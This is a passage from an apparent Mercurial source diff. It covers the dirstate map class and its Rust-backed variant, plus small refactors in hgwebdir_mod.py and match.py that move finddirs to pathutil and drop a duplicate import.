     """Map encapsulating the dirstate's contents.
 
     The dirstate contains the following state:
 
     - `identity` is the identity of the dirstate file, which can be used to
       detect when changes have occurred to the dirstate file.
 
     - `parents` is a pair containing the parents of the working copy. The
       parents are updated by calling `setparents`.
 
     - the state map maps filenames to tuples of (state, mode, size, mtime),
       where state is a single character representing 'normal', 'added',
       'removed', or 'merged'. It is read by treating the dirstate as a
       dict.  File state is updated by calling the `addfile`, `removefile` and
       `dropfile` methods.
 
     - `copymap` maps destination filenames to their source filename.
 
     The dirstate also provides the following views onto the state:
 
     - `nonnormalset` is a set of the filenames that have state other
       than 'normal', or are normal but have an mtime of -1 ('normallookup').
 
     - `otherparentset` is a set of the filenames that are marked as coming
       from the second parent when the dirstate is currently being merged.
 
     - `filefoldmap` is a dict mapping normalized filenames to the denormalized
       form that they appear as in the dirstate.
 
     - `dirfoldmap` is a dict mapping normalized directory names to the
       denormalized form that they appear as in the dirstate.
     """
 
     def __init__(self, ui, opener, root):
         self._ui = ui
         self._opener = opener
         self._root = root
         self._filename = b'dirstate'
 
         self._parents = None
         self._dirtyparents = False
 
         # for consistent view between _pl() and _read() invocations
         self._pendingmode = None
 
     @propertycache
     def _map(self):
         self._map = {}
         self.read()
         return self._map
 
     @propertycache
     def copymap(self):
         self.copymap = {}
         self._map
         return self.copymap
 
     def clear(self):
         self._map.clear()
         self.copymap.clear()
         self.setparents(nullid, nullid)
         util.clearcachedproperty(self, b"_dirs")
         util.clearcachedproperty(self, b"_alldirs")
         util.clearcachedproperty(self, b"filefoldmap")
         util.clearcachedproperty(self, b"dirfoldmap")
         util.clearcachedproperty(self, b"nonnormalset")
         util.clearcachedproperty(self, b"otherparentset")
 
     def items(self):
         return pycompat.iteritems(self._map)
 
     # forward for python2,3 compat
     iteritems = items
 
     def __len__(self):
         return len(self._map)
 
     def __iter__(self):
         return iter(self._map)
 
     def get(self, key, default=None):
         return self._map.get(key, default)
 
     def __contains__(self, key):
         return key in self._map
 
     def __getitem__(self, key):
         return self._map[key]
 
     def keys(self):
         return self._map.keys()
 
     def preload(self):
         """Loads the underlying data, if it's not already loaded"""
         self._map
 
     def addfile(self, f, oldstate, state, mode, size, mtime):
         """Add a tracked file to the dirstate."""
         if oldstate in b"?r" and "_dirs" in self.__dict__:
             self._dirs.addpath(f)
         if oldstate == b"?" and "_alldirs" in self.__dict__:
             self._alldirs.addpath(f)
         self._map[f] = dirstatetuple(state, mode, size, mtime)
         if state != b'n' or mtime == -1:
             self.nonnormalset.add(f)
         if size == -2:
             self.otherparentset.add(f)
 
     def removefile(self, f, oldstate, size):
         """
         Mark a file as removed in the dirstate.
 
         The `size` parameter is used to store sentinel values that indicate
         the file's previous state.  In the future, we should refactor this
         to be more explicit about what that state is.
         """
         if oldstate not in b"?r" and "_dirs" in self.__dict__:
             self._dirs.delpath(f)
         if oldstate == b"?" and "_alldirs" in self.__dict__:
             self._alldirs.addpath(f)
         if "filefoldmap" in self.__dict__:
             normed = util.normcase(f)
             self.filefoldmap.pop(normed, None)
         self._map[f] = dirstatetuple(b'r', 0, size, 0)
         self.nonnormalset.add(f)
 
     def dropfile(self, f, oldstate):
         """
         Remove a file from the dirstate.  Returns True if the file was
         previously recorded.
         """
         exists = self._map.pop(f, None) is not None
         if exists:
             if oldstate != b"r" and "_dirs" in self.__dict__:
                 self._dirs.delpath(f)
             if "_alldirs" in self.__dict__:
                 self._alldirs.delpath(f)
         if "filefoldmap" in self.__dict__:
             normed = util.normcase(f)
             self.filefoldmap.pop(normed, None)
         self.nonnormalset.discard(f)
         return exists
 
     def clearambiguoustimes(self, files, now):
         for f in files:
             e = self.get(f)
             if e is not None and e[0] == b'n' and e[3] == now:
                 self._map[f] = dirstatetuple(e[0], e[1], e[2], -1)
                 self.nonnormalset.add(f)
 
     def nonnormalentries(self):
         '''Compute the nonnormal dirstate entries from the dmap'''
         try:
             return parsers.nonnormalotherparententries(self._map)
         except AttributeError:
             nonnorm = set()
             otherparent = set()
             for fname, e in pycompat.iteritems(self._map):
                 if e[0] != b'n' or e[3] == -1:
                     nonnorm.add(fname)
                 if e[0] == b'n' and e[2] == -2:
                     otherparent.add(fname)
             return nonnorm, otherparent
 
     @propertycache
     def filefoldmap(self):
         """Returns a dictionary mapping normalized case paths to their
         non-normalized versions.
         """
         try:
             makefilefoldmap = parsers.make_file_foldmap
         except AttributeError:
             pass
         else:
             return makefilefoldmap(
                 self._map, util.normcasespec, util.normcasefallback
             )
 
         f = {}
         normcase = util.normcase
         for name, s in pycompat.iteritems(self._map):
             if s[0] != b'r':
                 f[normcase(name)] = name
         f[b'.'] = b'.'  # prevents useless util.fspath() invocation
         return f
 
     def hastrackeddir(self, d):
         """
         Returns True if the dirstate contains a tracked (not removed) file
         in this directory.
         """
         return d in self._dirs
 
     def hasdir(self, d):
         """
         Returns True if the dirstate contains a file (tracked or removed)
         in this directory.
         """
         return d in self._alldirs
 
     @propertycache
     def _dirs(self):
         return pathutil.dirs(self._map, b'r')
 
     @propertycache
     def _alldirs(self):
         return pathutil.dirs(self._map)
 
     def _opendirstatefile(self):
         fp, mode = txnutil.trypending(self._root, self._opener, self._filename)
         if self._pendingmode is not None and self._pendingmode != mode:
             fp.close()
             raise error.Abort(
                 _(b'working directory state may be changed parallelly')
             )
         self._pendingmode = mode
         return fp
 
     def parents(self):
         if not self._parents:
             try:
                 fp = self._opendirstatefile()
                 st = fp.read(40)
                 fp.close()
             except IOError as err:
                 if err.errno != errno.ENOENT:
                     raise
                 # File doesn't exist, so the current state is empty
                 st = b''
 
             l = len(st)
             if l == 40:
                 self._parents = (st[:20], st[20:40])
             elif l == 0:
                 self._parents = (nullid, nullid)
             else:
                 raise error.Abort(
                     _(b'working directory state appears damaged!')
                 )
 
         return self._parents
 
     def setparents(self, p1, p2):
         self._parents = (p1, p2)
         self._dirtyparents = True
 
     def read(self):
         # ignore HG_PENDING because identity is used only for writing
         self.identity = util.filestat.frompath(
             self._opener.join(self._filename)
         )
 
         try:
             fp = self._opendirstatefile()
             try:
                 st = fp.read()
             finally:
                 fp.close()
         except IOError as err:
             if err.errno != errno.ENOENT:
                 raise
             return
         if not st:
             return
 
         if util.safehasattr(parsers, b'dict_new_presized'):
             # Make an estimate of the number of files in the dirstate based on
             # its size. From a linear regression on a set of real-world repos,
             # all over 10,000 files, the size of a dirstate entry is 85
             # bytes. The cost of resizing is significantly higher than the cost
             # of filling in a larger presized dict, so subtract 20% from the
             # size.
             #
             # This heuristic is imperfect in many ways, so in a future dirstate
             # format update it makes sense to just record the number of entries
             # on write.
             self._map = parsers.dict_new_presized(len(st) // 71)
 
         # Python's garbage collector triggers a GC each time a certain number
         # of container objects (the number being defined by
         # gc.get_threshold()) are allocated. parse_dirstate creates a tuple
         # for each file in the dirstate. The C version then immediately marks
         # them as not to be tracked by the collector. However, this has no
         # effect on when GCs are triggered, only on what objects the GC looks
         # into. This means that O(number of files) GCs are unavoidable.
         # Depending on when in the process's lifetime the dirstate is parsed,
         # this can get very expensive. As a workaround, disable GC while
         # parsing the dirstate.
         #
         # (we cannot decorate the function directly since it is in a C module)
         parse_dirstate = util.nogc(parsers.parse_dirstate)
         p = parse_dirstate(self._map, self.copymap, st)
         if not self._dirtyparents:
             self.setparents(*p)
 
         # Avoid excess attribute lookups by fast pathing certain checks
         self.__contains__ = self._map.__contains__
         self.__getitem__ = self._map.__getitem__
         self.get = self._map.get
 
     def write(self, st, now):
         st.write(
             parsers.pack_dirstate(self._map, self.copymap, self.parents(), now)
         )
         st.close()
         self._dirtyparents = False
         self.nonnormalset, self.otherparentset = self.nonnormalentries()
 
     @propertycache
     def nonnormalset(self):
         nonnorm, otherparents = self.nonnormalentries()
         self.otherparentset = otherparents
         return nonnorm
 
     @propertycache
     def otherparentset(self):
         nonnorm, otherparents = self.nonnormalentries()
         self.nonnormalset = nonnorm
         return otherparents
 
     @propertycache
     def identity(self):
         self._map
         return self.identity
 
     @propertycache
     def dirfoldmap(self):
         f = {}
         normcase = util.normcase
         for name in self._dirs:
             f[normcase(name)] = name
         return f
 
 
 if rustmod is not None:
 
     class dirstatemap(object):
         def __init__(self, ui, opener, root):
             self._ui = ui
             self._opener = opener
             self._root = root
             self._filename = b'dirstate'
             self._parents = None
             self._dirtyparents = False
 
             # for consistent view between _pl() and _read() invocations
             self._pendingmode = None
 
         def addfile(self, *args, **kwargs):
             return self._rustmap.addfile(*args, **kwargs)
 
         def removefile(self, *args, **kwargs):
             return self._rustmap.removefile(*args, **kwargs)
 
         def dropfile(self, *args, **kwargs):
             return self._rustmap.dropfile(*args, **kwargs)
 
         def clearambiguoustimes(self, *args, **kwargs):
             return self._rustmap.clearambiguoustimes(*args, **kwargs)
 
         def nonnormalentries(self):
             return self._rustmap.nonnormalentries()
 
         def get(self, *args, **kwargs):
             return self._rustmap.get(*args, **kwargs)
 
         @propertycache
         def _rustmap(self):
             self._rustmap = rustmod.DirstateMap(self._root)
             self.read()
             return self._rustmap
 
         @property
         def copymap(self):
             return self._rustmap.copymap()
 
         def preload(self):
             self._rustmap
 
         def clear(self):
             self._rustmap.clear()
             self.setparents(nullid, nullid)
             util.clearcachedproperty(self, b"_dirs")
             util.clearcachedproperty(self, b"_alldirs")
             util.clearcachedproperty(self, b"dirfoldmap")
 
         def items(self):
             return self._rustmap.items()
 
         def keys(self):
             return iter(self._rustmap)
 
         def __contains__(self, key):
             return key in self._rustmap
 
         def __getitem__(self, item):
             return self._rustmap[item]
 
         def __len__(self):
             return len(self._rustmap)
 
         def __iter__(self):
             return iter(self._rustmap)
 
         # forward for python2,3 compat
         iteritems = items
 
         def _opendirstatefile(self):
             fp, mode = txnutil.trypending(
                 self._root, self._opener, self._filename
             )
             if self._pendingmode is not None and self._pendingmode != mode:
                 fp.close()
                 raise error.Abort(
                     _(b'working directory state may be changed parallelly')
                 )
             self._pendingmode = mode
             return fp
 
         def setparents(self, p1, p2):
             self._rustmap.setparents(p1, p2)
             self._parents = (p1, p2)
             self._dirtyparents = True
 
         def parents(self):
             if not self._parents:
                 try:
                     fp = self._opendirstatefile()
                     st = fp.read(40)
                     fp.close()
                 except IOError as err:
                     if err.errno != errno.ENOENT:
                         raise
                     # File doesn't exist, so the current state is empty
                     st = b''
 
                 try:
                     self._parents = self._rustmap.parents(st)
                 except ValueError:
                     raise error.Abort(
                         _(b'working directory state appears damaged!')
                     )
 
             return self._parents
 
         def read(self):
             # ignore HG_PENDING because identity is used only for writing
             self.identity = util.filestat.frompath(
                 self._opener.join(self._filename)
             )
 
             try:
                 fp = self._opendirstatefile()
                 try:
                     st = fp.read()
                 finally:
                     fp.close()
             except IOError as err:
                 if err.errno != errno.ENOENT:
                     raise
                 return
             if not st:
                 return
 
             parse_dirstate = util.nogc(self._rustmap.read)
             parents = parse_dirstate(st)
             if parents and not self._dirtyparents:
                 self.setparents(*parents)
 
             self.__contains__ = self._rustmap.__contains__
             self.__getitem__ = self._rustmap.__getitem__
             self.get = self._rustmap.get
 
         def write(self, st, now):
             parents = self.parents()
             st.write(self._rustmap.write(parents[0], parents[1], now))
             st.close()
             self._dirtyparents = False
 
         @propertycache
         def filefoldmap(self):
             """Returns a dictionary mapping normalized case paths to their
             non-normalized versions.
             """
             return self._rustmap.filefoldmapasdict()
 
         def hastrackeddir(self, d):
             self._dirs  # Trigger Python's propertycache
             return self._rustmap.hastrackeddir(d)
 
         def hasdir(self, d):
             self._dirs  # Trigger Python's propertycache
             return self._rustmap.hasdir(d)
 
         @propertycache
         def _dirs(self):
             return self._rustmap.getdirs()
 
         @propertycache
         def _alldirs(self):
             return self._rustmap.getalldirs()
 
         @propertycache
         def identity(self):
             self._rustmap
             return self.identity
 
         @property
         def nonnormalset(self):
             nonnorm, otherparents = self._rustmap.nonnormalentries()
             return nonnorm
 
         @property
         def otherparentset(self):
             nonnorm, otherparents = self._rustmap.nonnormalentries()
             return otherparents
 
         @propertycache
         def dirfoldmap(self):
             f = {}
             normcase = util.normcase
             for name in self._dirs:
                 f[normcase(name)] = name
             return f

mercurial/hgweb/hgwebdir_mod.py

@@ -1,578 +1,579 b''
 # hgweb/hgwebdir_mod.py - Web interface for a directory of repositories.
 #
 # Copyright 21 May 2005 - (c) 2005 Jake Edge <[e-mail]>
 # Copyright 2005, 2006 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import gc
 import os
 import time
 
 from ..i18n import _
 
 from .common import (
     ErrorResponse,
     HTTP_SERVER_ERROR,
     cspvalues,
     get_contact,
     get_mtime,
     ismember,
     paritygen,
     staticfile,
     statusmessage,
 )
 
 from .. import (
     configitems,
     encoding,
     error,
     extensions,
     hg,
+    pathutil,
     profiling,
     pycompat,
     registrar,
     scmutil,
     templater,
     templateutil,
     ui as uimod,
     util,
 )
 
 from . import (
     hgweb_mod,
     request as requestmod,
     webutil,
     wsgicgi,
 )
 from ..utils import dateutil
 
 
 def cleannames(items):
     return [(util.pconvert(name).strip(b'/'), path) for name, path in items]
 
 
 def findrepos(paths):
     repos = []
     for prefix, root in cleannames(paths):
         roothead, roottail = os.path.split(root)
         # "foo = /bar/*" or "foo = /bar/**" lets every repo /bar/N in or below
         # /bar/ be served as as foo/N .
         # '*' will not search inside dirs with .hg (except .hg/patches),
         # '**' will search inside dirs with .hg (and thus also find subrepos).
         try:
             recurse = {b'*': False, b'**': True}[roottail]
         except KeyError:
             repos.append((prefix, root))
             continue
         roothead = os.path.normpath(os.path.abspath(roothead))
         paths = scmutil.walkrepos(roothead, followsym=True, recurse=recurse)
         repos.extend(urlrepos(prefix, roothead, paths))
     return repos
 
 
 def urlrepos(prefix, roothead, paths):
     """yield url paths and filesystem paths from a list of repo paths
 
     >>> conv = lambda seq: [(v, util.pconvert(p)) for v,p in seq]
     >>> conv(urlrepos(b'hg', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
     [('hg/r', '/opt/r'), ('hg/r/r', '/opt/r/r'), ('hg', '/opt')]
     >>> conv(urlrepos(b'', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
     [('r', '/opt/r'), ('r/r', '/opt/r/r'), ('', '/opt')]
     """
     for path in paths:
         path = os.path.normpath(path)
         yield (
             prefix + b'/' + util.pconvert(path[len(roothead) :]).lstrip(b'/')
         ).strip(b'/'), path
 
 
 def readallowed(ui, req):
     """Check allow_read and deny_read config options of a repo's ui object
     to determine user permissions.  By default, with neither option set (or
     both empty), allow all users to read the repo.  There are two ways a
     user can be denied read access:  (1) deny_read is not empty, and the
     user is unauthenticated or deny_read contains user (or *), and (2)
     allow_read is not empty and the user is not in allow_read.  Return True
     if user is allowed to read the repo, else return False."""
 
     user = req.remoteuser
 
     deny_read = ui.configlist(b'web', b'deny_read', untrusted=True)
     if deny_read and (not user or ismember(ui, user, deny_read)):
         return False
 
     allow_read = ui.configlist(b'web', b'allow_read', untrusted=True)
     # by default, allow reading if no allow_read option has been set
     if not allow_read or ismember(ui, user, allow_read):
         return True
 
     return False
 
 
 def rawindexentries(ui, repos, req, subdir=b''):
     descend = ui.configbool(b'web', b'descend')
     collapse = ui.configbool(b'web', b'collapse')
     seenrepos = set()
     seendirs = set()
     for name, path in repos:
 
         if not name.startswith(subdir):
             continue
         name = name[len(subdir) :]
         directory = False
 
         if b'/' in name:
             if not descend:
                 continue
 
             nameparts = name.split(b'/')
             rootname = nameparts[0]
 
             if not collapse:
                 pass
             elif rootname in seendirs:
                 continue
             elif rootname in seenrepos:
                 pass
             else:
                 directory = True
                 name = rootname
 
                 # redefine the path to refer to the directory
                 discarded = b'/'.join(nameparts[1:])
 
                 # remove name parts plus accompanying slash
                 path = path[: -len(discarded) - 1]
 
                 try:
                     hg.repository(ui, path)
                     directory = False
                 except (IOError, error.RepoError):
                     pass
 
         parts = [
             req.apppath.strip(b'/'),
             subdir.strip(b'/'),
             name.strip(b'/'),
         ]
         url = b'/' + b'/'.join(p for p in parts if p) + b'/'
 
         # show either a directory entry or a repository
         if directory:
             # get the directory's time information
             try:
                 d = (get_mtime(path), dateutil.makedate()[1])
             except OSError:
                 continue
 
             # add '/' to the name to make it obvious that
             # the entry is a directory, not a regular repository
             row = {
                 b'contact': b"",
                 b'contact_sort': b"",
                 b'name': name + b'/',
                 b'name_sort': name,
                 b'url': url,
                 b'description': b"",
                 b'description_sort': b"",
                 b'lastchange': d,
                 b'lastchange_sort': d[1] - d[0],
                 b'archives': templateutil.mappinglist([]),
                 b'isdirectory': True,
                 b'labels': templateutil.hybridlist([], name=b'label'),
             }
 
             seendirs.add(name)
             yield row
             continue
 
         u = ui.copy()
         try:
             u.readconfig(os.path.join(path, b'.hg', b'hgrc'))
         except Exception as e:
             u.warn(_(b'error reading %s/.hg/hgrc: %s\n') % (path, e))
             continue
 
         def get(section, name, default=uimod._unset):
             return u.config(section, name, default, untrusted=True)
 
         if u.configbool(b"web", b"hidden", untrusted=True):
             continue
 
         if not readallowed(u, req):
             continue
 
         # update time with local timezone
         try:
             r = hg.repository(ui, path)
         except IOError:
             u.warn(_(b'error accessing repository at %s\n') % path)
             continue
         except error.RepoError:
             u.warn(_(b'error accessing repository at %s\n') % path)
             continue
         try:
             d = (get_mtime(r.spath), dateutil.makedate()[1])
         except OSError:
             continue
 
         contact = get_contact(get)
         description = get(b"web", b"description")
         seenrepos.add(name)
         name = get(b"web", b"name", name)
         labels = u.configlist(b'web', b'labels', untrusted=True)
         row = {
             b'contact': contact or b"unknown",
             b'contact_sort': contact.upper() or b"unknown",
             b'name': name,
             b'name_sort': name,
             b'url': url,
             b'description': description or b"unknown",
             b'description_sort': description.upper() or b"unknown",
             b'lastchange': d,
             b'lastchange_sort': d[1] - d[0],
             b'archives': webutil.archivelist(u, b"tip", url),
             b'isdirectory': None,
             b'labels': templateutil.hybridlist(labels, name=b'label'),
         }
 
         yield row
 
 
 def _indexentriesgen(
     context, ui, repos, req, stripecount, sortcolumn, descending, subdir
 ):
     rows = rawindexentries(ui, repos, req, subdir=subdir)
 
     sortdefault = None, False
 
     if sortcolumn and sortdefault != (sortcolumn, descending):
         sortkey = b'%s_sort' % sortcolumn
         rows = sorted(rows, key=lambda x: x[sortkey], reverse=descending)
 
     for row, parity in zip(rows, paritygen(stripecount)):
         row[b'parity'] = parity
         yield row
 
 
 def indexentries(
     ui, repos, req, stripecount, sortcolumn=b'', descending=False, subdir=b''
 ):
     args = (ui, repos, req, stripecount, sortcolumn, descending, subdir)
     return templateutil.mappinggenerator(_indexentriesgen, args=args)
 
 
 class hgwebdir(object):
     """HTTP server for multiple repositories.
 
     Given a configuration, different repositories will be served depending
     on the request path.
 
     Instances are typically used as WSGI applications.
     """
 
     def __init__(self, conf, baseui=None):
         self.conf = conf
         self.baseui = baseui
         self.ui = None
         self.lastrefresh = 0
         self.motd = None
         self.refresh()
         if not baseui:
             # set up environment for new ui
             extensions.loadall(self.ui)
             extensions.populateui(self.ui)
 
     def refresh(self):
         if self.ui:
             refreshinterval = self.ui.configint(b'web', b'refreshinterval')
         else:
             item = configitems.coreitems[b'web'][b'refreshinterval']
             refreshinterval = item.default
 
         # refreshinterval <= 0 means to always refresh.
         if (
             refreshinterval > 0
             and self.lastrefresh + refreshinterval > time.time()
         ):
             return
 
         if self.baseui:
             u = self.baseui.copy()
         else:
             u = uimod.ui.load()
             u.setconfig(b'ui', b'report_untrusted', b'off', b'hgwebdir')
             u.setconfig(b'ui', b'nontty', b'true', b'hgwebdir')
             # displaying bundling progress bar while serving feels wrong and may
             # break some wsgi implementations.
             u.setconfig(b'progress', b'disable', b'true', b'hgweb')
 
         if not isinstance(self.conf, (dict, list, tuple)):
             map = {b'paths': b'hgweb-paths'}
             if not os.path.exists(self.conf):
                 raise error.Abort(_(b'config file %s not found!') % self.conf)
             u.readconfig(self.conf, remap=map, trust=True)
             paths = []
             for name, ignored in u.configitems(b'hgweb-paths'):
                 for path in u.configlist(b'hgweb-paths', name):
                     paths.append((name, path))
         elif isinstance(self.conf, (list, tuple)):
             paths = self.conf
         elif isinstance(self.conf, dict):
             paths = self.conf.items()
         extensions.populateui(u)
 
         repos = findrepos(paths)
         for prefix, root in u.configitems(b'collections'):
             prefix = util.pconvert(prefix)
             for path in scmutil.walkrepos(root, followsym=True):
                 repo = os.path.normpath(path)
                 name = util.pconvert(repo)
                 if name.startswith(prefix):
                     name = name[len(prefix) :]
                 repos.append((name.lstrip(b'/'), repo))
 
         self.repos = repos
         self.ui = u
         encoding.encoding = self.ui.config(b'web', b'encoding')
         self.style = self.ui.config(b'web', b'style')
         self.templatepath = self.ui.config(
             b'web', b'templates', untrusted=False
         )
         self.stripecount = self.ui.config(b'web', b'stripes')
         if self.stripecount:
             self.stripecount = int(self.stripecount)
         prefix = self.ui.config(b'web', b'prefix')
         if prefix.startswith(b'/'):
             prefix = prefix[1:]
         if prefix.endswith(b'/'):
             prefix = prefix[:-1]
         self.prefix = prefix
         self.lastrefresh = time.time()
 
     def run(self):
         if not encoding.environ.get(b'GATEWAY_INTERFACE', b'').startswith(
             b"CGI/1."
         ):
             raise RuntimeError(
                 b"This function is only intended to be "
                 b"called while running as a CGI script."
             )
         wsgicgi.launch(self)
 
     def __call__(self, env, respond):
         baseurl = self.ui.config(b'web', b'baseurl')
         req = requestmod.parserequestfromenv(env, altbaseurl=baseurl)
         res = requestmod.wsgiresponse(req, respond)
 
         return self.run_wsgi(req, res)
 
     def run_wsgi(self, req, res):
         profile = self.ui.configbool(b'profiling', b'enabled')
         with profiling.profile(self.ui, enabled=profile):
             try:
                 for r in self._runwsgi(req, res):
                     yield r
             finally:
                 # There are known cycles in localrepository that prevent
                 # those objects (and tons of held references) from being
                 # collected through normal refcounting. We mitigate those
                 # leaks by performing an explicit GC on every request.
                 # TODO remove this once leaks are fixed.
                 # TODO only run this on requests that create localrepository
                 # instances instead of every request.
                 gc.collect()
 
     def _runwsgi(self, req, res):
         try:
             self.refresh()
 
             csp, nonce = cspvalues(self.ui)
             if csp:
                 res.headers[b'Content-Security-Policy'] = csp
 
             virtual = req.dispatchpath.strip(b'/')
             tmpl = self.templater(req, nonce)
             ctype = tmpl.render(b'mimetype', {b'encoding': encoding.encoding})
 
             # Global defaults. These can be overridden by any handler.
             res.status = b'200 Script output follows'
             res.headers[b'Content-Type'] = ctype
 
             # a static file
             if virtual.startswith(b'static/') or b'static' in req.qsparams:
                 if virtual.startswith(b'static/'):
                     fname = virtual[7:]
                 else:
                     fname = req.qsparams[b'static']
                 static = self.ui.config(b"web", b"static", untrusted=False)
                 if not static:
                     tp = self.templatepath or templater.templatepaths()
                     if isinstance(tp, str):
                         tp = [tp]
                     static = [os.path.join(p, b'static') for p in tp]
 
                 staticfile(static, fname, res)
                 return res.sendresponse()
 
             # top-level index
 
             repos = dict(self.repos)
 
             if (not virtual or virtual == b'index') and virtual not in repos:
                 return self.makeindex(req, res, tmpl)
 
             # nested indexes and hgwebs
 
             if virtual.endswith(b'/index') and virtual not in repos:
                 subdir = virtual[: -len(b'index')]
                 if any(r.startswith(subdir) for r in repos):
                     return self.makeindex(req, res, tmpl, subdir)
 
             def _virtualdirs():
                 # Check the full virtual path, and each parent
                 yield virtual
-                for p in util.finddirs(virtual):
+                for p in pathutil.finddirs(virtual):
                     yield p
 
             for virtualrepo in _virtualdirs():
                 real = repos.get(virtualrepo)
                 if real:
                     # Re-parse the WSGI environment to take into account our
                     # repository path component.
                     uenv = req.rawenv
                     if pycompat.ispy3:
                         uenv = {
                             k.decode('latin1'): v
                             for k, v in pycompat.iteritems(uenv)
                         }
                     req = requestmod.parserequestfromenv(
                         uenv,
                         reponame=virtualrepo,
                         altbaseurl=self.ui.config(b'web', b'baseurl'),
                         # Reuse wrapped body file object otherwise state
                         # tracking can get confused.
                         bodyfh=req.bodyfh,
                     )
                     try:
                         # ensure caller gets private copy of ui
                         repo = hg.repository(self.ui.copy(), real)
                         return hgweb_mod.hgweb(repo).run_wsgi(req, res)
                     except IOError as inst:
                         msg = encoding.strtolocal(inst.strerror)
                         raise ErrorResponse(HTTP_SERVER_ERROR, msg)
                     except error.RepoError as inst:
                         raise ErrorResponse(HTTP_SERVER_ERROR, bytes(inst))
 
             # browse subdirectories
             subdir = virtual + b'/'
             if [r for r in repos if r.startswith(subdir)]:
                 return self.makeindex(req, res, tmpl, subdir)
 
             # prefixes not found
             res.status = b'404 Not Found'
             res.setbodygen(tmpl.generate(b'notfound', {b'repo': virtual}))
             return res.sendresponse()
 
         except ErrorResponse as e:
             res.status = statusmessage(e.code, pycompat.bytestr(e))
             res.setbodygen(
                 tmpl.generate(b'error', {b'error': e.message or b''})
             )
             return res.sendresponse()
         finally:
             tmpl = None
 
     def makeindex(self, req, res, tmpl, subdir=b""):
         self.refresh()
         sortable = [b"name", b"description", b"contact", b"lastchange"]
         sortcolumn, descending = None, False
         if b'sort' in req.qsparams:
             sortcolumn = req.qsparams[b'sort']
             descending = sortcolumn.startswith(b'-')
             if descending:
                 sortcolumn = sortcolumn[1:]
             if sortcolumn not in sortable:
                 sortcolumn = b""
 
         sort = [
             (
                 b"sort_%s" % column,
                 b"%s%s"
                 % (
                     (not descending and column == sortcolumn) and b"-" or b"",
                     column,
                 ),
             )
             for column in sortable
         ]
 
         self.refresh()
 
         entries = indexentries(
             self.ui,
             self.repos,
             req,
             self.stripecount,
             sortcolumn=sortcolumn,
             descending=descending,
             subdir=subdir,
         )
 
         mapping = {
             b'entries': entries,
             b'subdir': subdir,
             b'pathdef': hgweb_mod.makebreadcrumb(b'/' + subdir, self.prefix),
             b'sortcolumn': sortcolumn,
             b'descending': descending,
         }
         mapping.update(sort)
         res.setbodygen(tmpl.generate(b'index', mapping))
         return res.sendresponse()
 
     def templater(self, req, nonce):
         def config(section, name, default=uimod._unset, untrusted=True):
             return self.ui.config(section, name, default, untrusted)
 
         vars = {}
         styles, (style, mapfile) = hgweb_mod.getstyle(
             req, config, self.templatepath
         )
         if style == styles[0]:
             vars[b'style'] = style
 
         sessionvars = webutil.sessionvars(vars, b'?')
         logourl = config(b'web', b'logourl')
         logoimg = config(b'web', b'logoimg')
         staticurl = (
             config(b'web', b'staticurl')
             or req.apppath.rstrip(b'/') + b'/static/'
         )
         if not staticurl.endswith(b'/'):
             staticurl += b'/'
 
         defaults = {
             b"encoding": encoding.encoding,
             b"url": req.apppath + b'/',
             b"logourl": logourl,
             b"logoimg": logoimg,
             b"staticurl": staticurl,
             b"sessionvars": sessionvars,
             b"style": style,
             b"nonce": nonce,
         }
         templatekeyword = registrar.templatekeyword(defaults)
 
         @templatekeyword(b'motd', requires=())
         def motd(context, mapping):
             if self.motd is not None:
                 yield self.motd
             else:
                 yield config(b'web', b'motd')
 
         tmpl = templater.templater.frommapfile(mapfile, defaults=defaults)
         return tmpl

mercurial/match.py

@@ -1,1621 +1,1625 b''
 # match.py - filename matching
 #
 #  Copyright 2008, 2009 Matt Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import, print_function
 
 import copy
 import itertools
 import os
 import re
 
 from .i18n import _
 from .pycompat import open
 from . import (
     encoding,
     error,
     pathutil,
-    pathutil,
     policy,
     pycompat,
     util,
 )
 from .utils import stringutil
 
 rustmod = policy.importrust('filepatterns')
 
 allpatternkinds = (
     b're',
     b'glob',
     b'path',
     b'relglob',
     b'relpath',
     b'relre',
     b'rootglob',
     b'listfile',
     b'listfile0',
     b'set',
     b'include',
     b'subinclude',
     b'rootfilesin',
 )
 cwdrelativepatternkinds = (b'relpath', b'glob')
 
 propertycache = util.propertycache
 
 
 def _rematcher(regex):
     '''compile the regexp with the best available regexp engine and return a
     matcher function'''
     m = util.re.compile(regex)
     try:
         # slightly faster, provided by facebook's re2 bindings
         return m.test_match
     except AttributeError:
         return m.match
 
 
 def _expandsets(kindpats, ctx=None, listsubrepos=False, badfn=None):
     '''Returns the kindpats list with the 'set' patterns expanded to matchers'''
     matchers = []
     other = []
 
     for kind, pat, source in kindpats:
         if kind == b'set':
             if ctx is None:
                 raise error.ProgrammingError(
                     b"fileset expression with no context"
                 )
             matchers.append(ctx.matchfileset(pat, badfn=badfn))
 
             if listsubrepos:
                 for subpath in ctx.substate:
                     sm = ctx.sub(subpath).matchfileset(pat, badfn=badfn)
                     pm = prefixdirmatcher(subpath, sm, badfn=badfn)
                     matchers.append(pm)
 
             continue
         other.append((kind, pat, source))
     return matchers, other
 
 
 def _expandsubinclude(kindpats, root):
     '''Returns the list of subinclude matcher args and the kindpats without the
     subincludes in it.'''
     relmatchers = []
     other = []
 
     for kind, pat, source in kindpats:
         if kind == b'subinclude':
             sourceroot = pathutil.dirname(util.normpath(source))
             pat = util.pconvert(pat)
             path = pathutil.join(sourceroot, pat)
 
             newroot = pathutil.dirname(path)
             matcherargs = (newroot, b'', [], [b'include:%s' % path])
 
             prefix = pathutil.canonpath(root, root, newroot)
             if prefix:
                 prefix += b'/'
             relmatchers.append((prefix, matcherargs))
         else:
             other.append((kind, pat, source))
 
     return relmatchers, other
 
 
 def _kindpatsalwaysmatch(kindpats):
     """"Checks whether the kindspats match everything, as e.g.
     'relpath:.' does.
     """
     for kind, pat, source in kindpats:
         if pat != b'' or kind not in [b'relpath', b'glob']:
             return False
     return True
 
 
 def _buildkindpatsmatcher(
     matchercls, root, kindpats, ctx=None, listsubrepos=False, badfn=None
 ):
     matchers = []
     fms, kindpats = _expandsets(
         kindpats, ctx=ctx, listsubrepos=listsubrepos, badfn=badfn
     )
     if kindpats:
         m = matchercls(root, kindpats, badfn=badfn)
         matchers.append(m)
     if fms:
         matchers.extend(fms)
     if not matchers:
         return nevermatcher(badfn=badfn)
     if len(matchers) == 1:
         return matchers[0]
